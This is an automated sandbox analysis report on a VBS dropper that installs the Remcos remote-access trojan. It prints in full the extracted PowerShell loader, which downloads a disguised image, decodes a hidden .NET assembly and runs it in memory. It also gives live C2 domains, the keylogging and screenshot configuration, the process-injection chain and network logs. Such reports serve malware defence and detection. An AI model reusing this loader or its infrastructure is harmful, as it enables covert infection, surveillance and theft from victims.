Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/12/2024, 06:38 UTC

General

  • Target

    d2256247fae569fdaf99ce1a41dc036c5e4ca7b637a52314f51b726e39096573.vbs

  • Size

    152KB

  • MD5

    4dd53bc42716f9abe36ae85c8ca8ea4b

  • SHA1

    aa44fc15455a5283e6596a4da7ee87ac4e4b8901

  • SHA256

    d2256247fae569fdaf99ce1a41dc036c5e4ca7b637a52314f51b726e39096573

  • SHA512

    d9f5410d0f7c9135fa2b388030c766969ed7ea70edae73b514820bb39251f4f66d9af3d39fc46327cb7a6f207ca3e3b7e86a8fecec7629a3606d3c0789777952

  • SSDEEP

    3072:A8gVmI3b0mgfmWu+Dwe9VOv5iG5sVhQ30Wk+70wgA1A:A8gVde9VOvM

Malware Config

Extracted

Language
ps1
Source
1
$noninterest = 'https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg';$fishers = New-Object System.Net.WebClient;$marmalady = $fishers.DownloadData($noninterest);$ruddle = [System.Text.Encoding]::UTF8.GetString($marmalady);$bleekbok = '<<BASE64_START>>';$rouse = '<<BASE64_END>>';$unloose = $ruddle.IndexOf($bleekbok);$Benedict = $ruddle.IndexOf($rouse);$unloose -ge 0 -and $Benedict -gt $unloose;$unloose += $bleekbok.Length;$tumefied = $Benedict - $unloose;$biographed = $ruddle.Substring($unloose, $tumefied);$backing = -join ($biographed.ToCharArray() | ForEach-Object { $_ })[-1..-($biographed.Length)];$nonflavored = [System.Convert]::FromBase64String($backing);$hemautogram = [System.Reflection.Assembly]::Load($nonflavored);$subcarbureted = [dnlib.IO.Home].GetMethod('VAI');$subcarbureted.Invoke($null, @('txt.erg/kni/pot.crwslaiciffo.tes//:sptth', '$delie', '$delie', '$delie', 'MSBuild', '$delie','$delie','$delie','talpe', 'C:\ProgramData\','talpe','vbs','1','1','TaskName'));
URLs
ps1.dropper

https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg

exe.dropper

https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg

Extracted

Family

remcos

Botnet

NEW

C2

rem.pushswroller.eu:23101

firewarzone.ydns.eu:23101

dim.remofficialws.top:23101

rem.officialswvrem.top:23101

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmcghdzxtrswtwg-BJ2KPV

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Remcos family
  • Blocklisted process makes network request 4 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 26 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\d2256247fae569fdaf99ce1a41dc036c5e4ca7b637a52314f51b726e39096573.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1356
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$noninterest = 'https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg';$fishers = New-Object System.Net.WebClient;$marmalady = $fishers.DownloadData($noninterest);$ruddle = [System.Text.Encoding]::UTF8.GetString($marmalady);$bleekbok = '<<BASE64_START>>';$rouse = '<<BASE64_END>>';$unloose = $ruddle.IndexOf($bleekbok);$Benedict = $ruddle.IndexOf($rouse);$unloose -ge 0 -and $Benedict -gt $unloose;$unloose += $bleekbok.Length;$tumefied = $Benedict - $unloose;$biographed = $ruddle.Substring($unloose, $tumefied);$backing = -join ($biographed.ToCharArray() | ForEach-Object { $_ })[-1..-($biographed.Length)];$nonflavored = [System.Convert]::FromBase64String($backing);$hemautogram = [System.Reflection.Assembly]::Load($nonflavored);$subcarbureted = [dnlib.IO.Home].GetMethod('VAI');$subcarbureted.Invoke($null, @('txt.erg/kni/pot.crwslaiciffo.tes//:sptth', '$delie', '$delie', '$delie', 'MSBuild', '$delie','$delie','$delie','talpe', 'C:\ProgramData\','talpe','vbs','1','1','TaskName'));"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:804
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\ProgramData\talpe.vbs"
        3⤵
          PID:3256
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of SetWindowsHookEx
          PID:4860
    • C:\Windows\system32\wscript.exe
      wscript.exe C:\ProgramData\talpe.vbs
      1⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:2164
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$noninterest = 'https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg';$fishers = New-Object System.Net.WebClient;$marmalady = $fishers.DownloadData($noninterest);$ruddle = [System.Text.Encoding]::UTF8.GetString($marmalady);$bleekbok = '<<BASE64_START>>';$rouse = '<<BASE64_END>>';$unloose = $ruddle.IndexOf($bleekbok);$Benedict = $ruddle.IndexOf($rouse);$unloose -ge 0 -and $Benedict -gt $unloose;$unloose += $bleekbok.Length;$tumefied = $Benedict - $unloose;$biographed = $ruddle.Substring($unloose, $tumefied);$backing = -join ($biographed.ToCharArray() | ForEach-Object { $_ })[-1..-($biographed.Length)];$nonflavored = [System.Convert]::FromBase64String($backing);$hemautogram = [System.Reflection.Assembly]::Load($nonflavored);$subcarbureted = [dnlib.IO.Home].GetMethod('VAI');$subcarbureted.Invoke($null, @('txt.erg/kni/pot.crwslaiciffo.tes//:sptth', '$delie', '$delie', '$delie', 'MSBuild', '$delie','$delie','$delie','talpe', 'C:\ProgramData\','talpe','vbs','1','1','TaskName'));"
        2⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4640
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
          3⤵
            PID:4220

      Network

      • flag-us
        DNS
        res.cloudinary.com
        powershell.exe
        Remote address:
        8.8.8.8:53
        Request
        res.cloudinary.com
        IN A
        Response
        res.cloudinary.com
        IN CNAME
        ion.cloudinary.com.edgekey.net
        ion.cloudinary.com.edgekey.net
        IN CNAME
        e1315.dsca.akamaiedge.net
        e1315.dsca.akamaiedge.net
        IN A
        2.18.108.33
      • flag-us
        DNS
        res.cloudinary.com
        powershell.exe
        Remote address:
        8.8.8.8:53
        Request
        res.cloudinary.com
        IN A
      • flag-us
        DNS
        res.cloudinary.com
        powershell.exe
        Remote address:
        8.8.8.8:53
        Request
        res.cloudinary.com
        IN A
      • flag-gb
        GET
        https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg
        powershell.exe
        Remote address:
        2.18.108.33:443
        Request
        GET /dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg HTTP/1.1
        Host: res.cloudinary.com
        Connection: Keep-Alive
        Response
        HTTP/1.1 200 OK
        Content-Type: image/jpeg
        Content-Length: 2676697
        ETag: "e5745d252aadd8dc5931363c7261f0a8"
        Last-Modified: Mon, 16 Dec 2024 02:14:05 GMT
        Date: Fri, 20 Dec 2024 06:38:46 GMT
        Connection: keep-alive
        Cache-Control: public, no-transform, immutable, max-age=2592000
        x-request-id: 70d4331ee42414ff46f04161fd976324
        Access-Control-Expose-Headers: Content-Length,Content-Disposition,Content-Range,Etag,Server-Timing,Vary,X-Cld-Error,X-Robots-Tag,X-Content-Type-Options
        Access-Control-Allow-Origin: *
        Accept-Ranges: bytes
        Timing-Allow-Origin: *
        Server: Cloudinary
        Strict-Transport-Security: max-age=604800
        X-Content-Type-Options: nosniff
        Server-Timing: cld-akam;dur=17;start=2024-12-20T06:38:46.898Z;desc=hit,rtt;dur=63,content-info;desc="width=1920,height=1080,bytes=2676697,format=\"jpg\",o=1,crt=1734315244,ef=(17)"
      • flag-us
        DNS
        232.168.11.51.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        232.168.11.51.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        33.108.18.2.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        33.108.18.2.in-addr.arpa
        IN PTR
        Response
        33.108.18.2.in-addr.arpa
        IN PTR
        a2-18-108-33deploystaticakamaitechnologiescom
      • flag-us
        DNS
        64.159.190.20.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        64.159.190.20.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        95.221.229.192.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        95.221.229.192.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        set.officialswrc.top
        powershell.exe
        Remote address:
        8.8.8.8:53
        Request
        set.officialswrc.top
        IN A
        Response
        set.officialswrc.top
        IN A
        5.182.211.158
      • flag-nl
        GET
        https://set.officialswrc.top/ink/gre.txt
        powershell.exe
        Remote address:
        5.182.211.158:443
        Request
        GET /ink/gre.txt HTTP/1.1
        Host: set.officialswrc.top
        Connection: Keep-Alive
        Response
        HTTP/1.1 200 OK
        etag: "a0800-676328f6-13f694;gz"
        last-modified: Wed, 18 Dec 2024 19:56:38 GMT
        content-type: text/plain
        content-length: 657408
        accept-ranges: bytes
        date: Fri, 20 Dec 2024 06:39:01 GMT
        server: LiteSpeed
        alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
        connection: Keep-Alive
      • flag-us
        DNS
        158.211.182.5.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        158.211.182.5.in-addr.arpa
        IN PTR
        Response
        158.211.182.5.in-addr.arpa
        IN PTR
        5-182-211-158 hosted-byskb-enterprisecom
      • flag-us
        DNS
        rem.pushswroller.eu
        MSBuild.exe
        Remote address:
        8.8.8.8:53
        Request
        rem.pushswroller.eu
        IN A
        Response
        rem.pushswroller.eu
        IN A
        45.80.158.30
      • flag-us
        DNS
        firewarzone.ydns.eu
        MSBuild.exe
        Remote address:
        8.8.8.8:53
        Request
        firewarzone.ydns.eu
        IN A
        Response
        firewarzone.ydns.eu
        IN A
        45.80.158.30
      • flag-us
        DNS
        dim.remofficialws.top
        MSBuild.exe
        Remote address:
        8.8.8.8:53
        Request
        dim.remofficialws.top
        IN A
        Response
        dim.remofficialws.top
        IN A
        45.80.158.30
      • flag-us
        DNS
        30.158.80.45.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        30.158.80.45.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        154.239.44.20.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        154.239.44.20.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        rem.officialswvrem.top
        MSBuild.exe
        Remote address:
        8.8.8.8:53
        Request
        rem.officialswvrem.top
        IN A
        Response
        rem.officialswvrem.top
        IN A
        45.80.158.30
      • flag-us
        DNS
        241.150.49.20.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        241.150.49.20.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        50.23.12.20.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        50.23.12.20.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        198.187.3.20.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        198.187.3.20.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        92.12.20.2.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        92.12.20.2.in-addr.arpa
        IN PTR
        Response
        92.12.20.2.in-addr.arpa
        IN PTR
        a2-20-12-92deploystaticakamaitechnologiescom
      • flag-us
        DNS
        83.210.23.2.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        83.210.23.2.in-addr.arpa
        IN PTR
        Response
        83.210.23.2.in-addr.arpa
        IN PTR
        a2-23-210-83deploystaticakamaitechnologiescom
      • flag-us
        DNS
        res.cloudinary.com
        powershell.exe
        Remote address:
        8.8.8.8:53
        Request
        res.cloudinary.com
        IN A
        Response
        res.cloudinary.com
        IN CNAME
        resc.cloudinary.com.cdn.cloudflare.net
        resc.cloudinary.com.cdn.cloudflare.net
        IN A
        104.17.202.1
        resc.cloudinary.com.cdn.cloudflare.net
        IN A
        104.17.201.1
      • flag-us
        DNS
        res.cloudinary.com
        powershell.exe
        Remote address:
        8.8.8.8:53
        Request
        res.cloudinary.com
        IN A
      • flag-us
        GET
        https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg
        powershell.exe
        Remote address:
        104.17.202.1:443
        Request
        GET /dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg HTTP/1.1
        Host: res.cloudinary.com
        Connection: Keep-Alive
        Response
        HTTP/1.1 200 OK
        Date: Fri, 20 Dec 2024 06:40:04 GMT
        Content-Type: image/jpeg
        Content-Length: 2676697
        Connection: keep-alive
        CF-Ray: 8f4da38a7cd46346-LHR
        Accept-Ranges: bytes
        Access-Control-Allow-Origin: *
        Cache-Control: public, no-transform, immutable, max-age=2592000
        ETag: "e5745d252aadd8dc5931363c7261f0a8"
        Last-Modified: Mon, 16 Dec 2024 02:14:05 GMT
        Strict-Transport-Security: max-age=604800
        Vary: Accept-Encoding
        access-control-expose-headers: Content-Length,ETag,Server-Timing,Vary,x-content-type-options
        server-timing: cld-cloudflare;dur=23;start=2024-12-20T06:40:04.245Z;desc=hit,rtt;dur=55,content-info;desc="width=1920,height=1080,bytes=2676697,format="jpg",o=1,crt=1734315244,ef=(17);"
        timing-allow-origin: *
        x-content-type-options: nosniff
        x-request-id: 70d4331ee42414ff46f04161fd976324
        Server: cloudflare
      • flag-us
        DNS
        1.202.17.104.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        1.202.17.104.in-addr.arpa
        IN PTR
        Response
      • flag-nl
        GET
        https://set.officialswrc.top/ink/gre.txt
        powershell.exe
        Remote address:
        5.182.211.158:443
        Request
        GET /ink/gre.txt HTTP/1.1
        Host: set.officialswrc.top
        Connection: Keep-Alive
        Response
        HTTP/1.1 200 OK
        etag: "a0800-676328f6-13f694;gz"
        last-modified: Wed, 18 Dec 2024 19:56:38 GMT
        content-type: text/plain
        content-length: 657408
        accept-ranges: bytes
        date: Fri, 20 Dec 2024 06:40:14 GMT
        server: LiteSpeed
        alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
        connection: Keep-Alive
      • flag-us
        DNS
        134.130.81.91.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        134.130.81.91.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        134.130.81.91.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        134.130.81.91.in-addr.arpa
        IN PTR
      • flag-us
        DNS
        22.236.111.52.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        22.236.111.52.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        28.73.42.20.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        28.73.42.20.in-addr.arpa
        IN PTR
        Response
      • 2.18.108.33:443
        https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg
        tls, http
        powershell.exe
        59.5kB
        2.8MB
        1199
        1988

        HTTP Request

        GET https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg

        HTTP Response

        200
      • 5.182.211.158:443
        https://set.officialswrc.top/ink/gre.txt
        tls, http
        powershell.exe
        17.2kB
        681.3kB
        343
        493

        HTTP Request

        GET https://set.officialswrc.top/ink/gre.txt

        HTTP Response

        200
      • 45.80.158.30:23101
        rem.pushswroller.eu
        tls
        MSBuild.exe
        510 B
        92 B
        4
        2
      • 45.80.158.30:23101
        firewarzone.ydns.eu
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        dim.remofficialws.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        304 B
        92 B
        3
        2
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        304 B
        92 B
        3
        2
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        172 B
        5
        4
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        1.1kB
        92 B
        7
        2
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        500 B
        212 B
        7
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        448 B
        212 B
        6
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        304 B
        92 B
        3
        2
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        716 B
        92 B
        5
        2
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        132 B
        5
        3
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        768 B
        92 B
        6
        2
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        304 B
        92 B
        3
        2
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        448 B
        212 B
        6
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        304 B
        92 B
        3
        2
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        132 B
        5
        3
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        510 B
        92 B
        4
        2
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        602 B
        172 B
        6
        4
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        212 B
        5
        5
      • 45.80.158.30:23101
        rem.officialswvrem.top
        tls
        MSBuild.exe
        396 B
        172 B
        5
